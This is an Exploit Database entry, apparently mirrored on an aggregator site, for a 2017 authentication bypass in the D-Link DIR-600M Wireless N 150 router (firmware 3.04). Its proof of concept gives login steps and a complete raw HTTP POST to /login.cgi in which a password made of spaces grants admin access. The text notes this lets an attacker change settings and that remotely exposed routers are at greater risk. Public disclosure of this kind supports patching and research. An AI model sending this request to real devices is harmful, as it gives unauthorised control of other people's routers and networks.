D-Link DIR-600M Wireless N 150 – Authentication Bypass

• Exploit Database
• 17 阅读

• 作者： Touhid M.Shaikh
  日期： 2017-05-19
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/42039/

• # Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass
  # Date: 19-05-2017
  # Software Link: http://www.dlink.co.in/products/?pid=DIR-600M
  # Exploit Author: Touhid M.Shaikh
  # Vendor : www.dlink.com
  # Contact : http://twitter.com/touhidshaikh22
  # Version: Hardware version: C1
  Firmware version: 3.04
  # Tested on:All Platforms
  
  
  1) Description
  
  After Successfully Connected to D-Link DIR-600M Wireless N 150
  Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's
  Admin Panel Just by Feeding Blank Spaces in the password Field.
  
  Its More Dangerous when your Router has a public IP with remote login
  enabled.
  
  For More Details : www.touhidshaikh.com/blog/
  
  IN MY CASE,
  Router IP : http://192.168.100.1
  
  
  
  Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring
  
  2) Proof of Concept
  
  Step 1: Go to
  Router Login Page : http://192.168.100.1/login.htm
  
  Step 2:
  Fill username: admin
  And in Password Fill more than 20 tims Spaces(" ")
  
  
  
  Our Request Is look like below.
  -----------------ATTACKER REQUEST-----------------------------------
  
  POST /login.cgi HTTP/1.1
  Host: 192.168.100.1
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
  Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://192.168.100.1/login.htm
  Cookie: SessionID=
  Connection: close
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 84
  
  username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send
  
  
  --------------------END here------------------------
  
  Bingooo You got admin Access on router.
  Now you can download/upload settiing, Change setting etc.
  
  
  
  
  -------------------Greetz----------------
  TheTouron(www.thetouron.in), Ronit Yadav
  -----------------------------------------